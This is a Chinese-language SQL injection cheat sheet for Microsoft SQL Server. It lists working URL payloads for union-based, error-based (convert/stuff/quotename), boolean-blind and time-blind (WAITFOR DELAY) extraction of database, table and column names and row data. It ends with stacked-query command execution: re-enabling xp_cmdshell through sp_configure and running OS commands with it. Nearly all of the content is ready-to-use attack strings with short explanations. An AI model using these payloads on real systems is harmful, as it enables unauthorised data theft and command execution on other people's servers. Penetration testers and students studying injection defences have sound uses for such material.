MSSQL
//TOP 对标与MSSQL中的limit,想要输出一条信息 TOP 1 ,输出两条 TOP 2
SELECT TOP 2 StudentName FROM STUDENTS
//@@version 获取版本信息
SELECT @@version
//db_name 当前数据库的名称
SELECT db_name()
//OBEJCT_ID 获取表对象ID
OBJECT_ID('表名')
COL_NAME ( table_id , column_id )根据表对象 ID 和列序号(从 1 开始)返回对应的列名。
//convert 把日期转换成新数据类型的通用函数
CONVERT(data_type(length),data_to_be_converted,style)
//stuff 删除字符串中的一部分内容,用另一个字符串替代
stuff( character_expression , start , length , replaceWith_expression )
//len 返回目标字符串的长度
len(select db_name())
//SUBSTRING 用于从字符串中提取指定位置的一部分
SUBSTRING(expression, start, length)
在 MSSQL 数据库中会存在一个系统自带库-->master,每个库都存在一个系统自带表-->sysobjects。该系统表中对于我们来说有三个字段有用:
?id=101 and exists(select * from sysobjects) --+
//判断是否为MSSQL数据库 因为sysobjects是系统自带表,唯一 exists()函数,存在则为真有回显,否则报错
?id=101 order by 4 --+ 正常
?id=101 order by 5 --+ 报错
联合查询注入
?id=0 union select 1,2,3,4 --+ //正常的联合查询注入
SELECT * FROM Students WHERE StudentlD = 0 union select 1,2,3,4 -- //数据库语句
?id=0 union select 1,db_name(),3,@@version --+ //查询数据库版本信息和当前数据库的名称
?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u') --+
//top 1只返回第一条数据 sysobjects系统表 xtype='u' 表示对象类型为用户表 dbo默认架构 SchoolDB数据库名
?id=0 union select 1,2,3,(select top 1 name from SchoolDB.dbo.sysobjects where xtype='u' and name != 'STUDENTS') --+
//排除掉第一次获取的表名
?id=0 union select 1,2,3,(select top 1 col_name(object_id('STUDENTS'),1) from sysobjects)--+
//COL_NAME ( table_id , column_id )根据表对象 ID 和列序号(从 1 开始)返回对应的列名。
object_id('STUDENTS')返回当前数据库中名为 STUDENTS 的对象的 对象 ID(整数值)。遍历获取列名
?id=0 union select 1,2,3,(select top 1 StudentID from STUDENTS WHERE StudentID != 101)--+
//从students这里获取StudentID的数据
报错注入
MSSQL 数据库是强类型语言数据库,当类型不一样时,会报错,配合子查询即可实现报错注入。
CONVERT ( data_type [ ( length ) ] , expression , style )
//data_type 目标数据类型,length 可选,字符数据类型的长度,expression 要转换的值或表达式,style 可选,日期/时间转换的格式代码
?id=101 and 1=convert(int,db_name())
//查询语句查询出来的结果时varchar类型,无法转为指定的int类型,因此convert函数会爆出一个SQLSever的错误消息,格式是"SQL查询结果"无法转换为"int"类型,这样攻击者就可以利用报错来获取到SQL的查询结果
FILE_NAME ( file_id )
//返回该文件在数据库中的逻辑文件名(如 'master'、'modeldev')
?id=1 and 1=convert(int, file_name(1))
convert() //可利用的函数
file_name()
db_name()
col_name()
filegroup_name()
object_name()
schema_name()
type_name()
cast()
?id=101 and 1=(select db_name(0)) //查询当前数据库
?id=101 and 1=(select db_name(1)) //查询第二个数据库
?id=101 and 1=convert(int,stuff((select quotename(name) from sys.databases for xml path('')),1,0,''))--
//QUOTENAME(name)默认会将提取出来的数据库名称加上[]
FOR XML PATH(''),XML 格式,PATH('') 指定 XML 的根节点名称为空字符串,从而不生成 XML 标签,只输出纯文本拼接的结果
STUFF ( character_expression , start , length , replaceWith_expression )
character_expression:原始字符串,start:开始删除/替换的位置(从 1 开始计数),length:要删除的字符数,replaceWith_expression:插入到 start 位置的新字符串。
STUFF(..., 1, 0, ''),start = 1:从第一个字符开始,length = 0:删除 0 个字符(即不删除任何字符),replaceWith_expression = '':插入空字符串。
使用quotename函数把每个数据库名都封装上[],再用xml来拼接字符串,stuff用来绕过,covert函数把字符串转换为int类型时会报错,从而爆出数据库名称
?id=101 and 1=convert(int,stuff((select quotename(name) from sysobjects WHERE xtype = 'U' for xml path('')),1,0,'')) --+
//与上面的payload一样但多加了一个where条件限制,指定表的类型为用户自建表
?id=101 and 1=convert(int,stuff((select quotename(name) from SchoolDB.sys.columns where object_id=object_id('Students') for xml path('')),1,0,'')) --
//与上面的类似知识这里是获取所有列名,where限定了从students这张表里获取列名
?id=101 and 1=convert(int,stuff((select quotename(StudentID) from Students for xml path('')),1,0,''))--
//最后获取具体的数据
布尔盲注
?id=101 and 1=1--+ //正常回显
?id=101 and 1=2--+ //不正常回显
?id=101 and len((select db_name()))=8--+ //回显正常
?id=101 and len((select db_name()))=4--+ //不正常回显
?id=101 and ascii(substring((select db_name()),1,1))=83 -- //获取数据库名的第一个字符ascii码为83
时间盲注
?id=101 WAITFOR DELAY '0:0:5' --
//WAITFOR DELAY '0:0:5' 代表延迟5秒
?id=101 if (len((select db_name()))=8) WAITFOR DELAY '0:0:5' --+
//if用来判断 如果数据库名长度为8就延迟5秒
?id=101 if (ascii(substring((select db_name()),1,1))=83) WAITFOR DELAY '0:0:5'--
//慢慢拆解数据库名即可
SqlServer 命令执行
?id=101 and 1=(select count(*) from master.dbo.sysobjects where xtype = 'x' and name = 'xp_cmdshell')
//master.dbo.sysobjects是SQLServer中master系统数据库下的一个兼容性系统表 返回 1 表示存在,0 表示不存在或无权访问。
COUNT(*) 是 SQL 中的聚合函数,用于统计查询结果集中的记录行数
统计master.dbo.sysobjects这个表中xp_cmdshell的数量,存在就是1,无权访问和不存在就返回0
xp_cmdshell 默认在 mssql2000 中是开启的,在 mssql2005 后版本默认禁止。2005 的 xp_cmdshell 的权限一般是 system,而 2008 多数为 nt authority\network service,但是如果有管理员 sa 权限,则可以用 sp_configure 重新开启
开启 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭 xp_cmdshell:
exec sp_configure 'show advanced options', 1;reconfigure;exec sp_configure 'xp_cmdshell', 0;reconfigure
?id=101 ;exec master..xp_cmdshell "命令" //采取堆叠注入执行命令
该文章在 2026/7/18 0:53:15 编辑过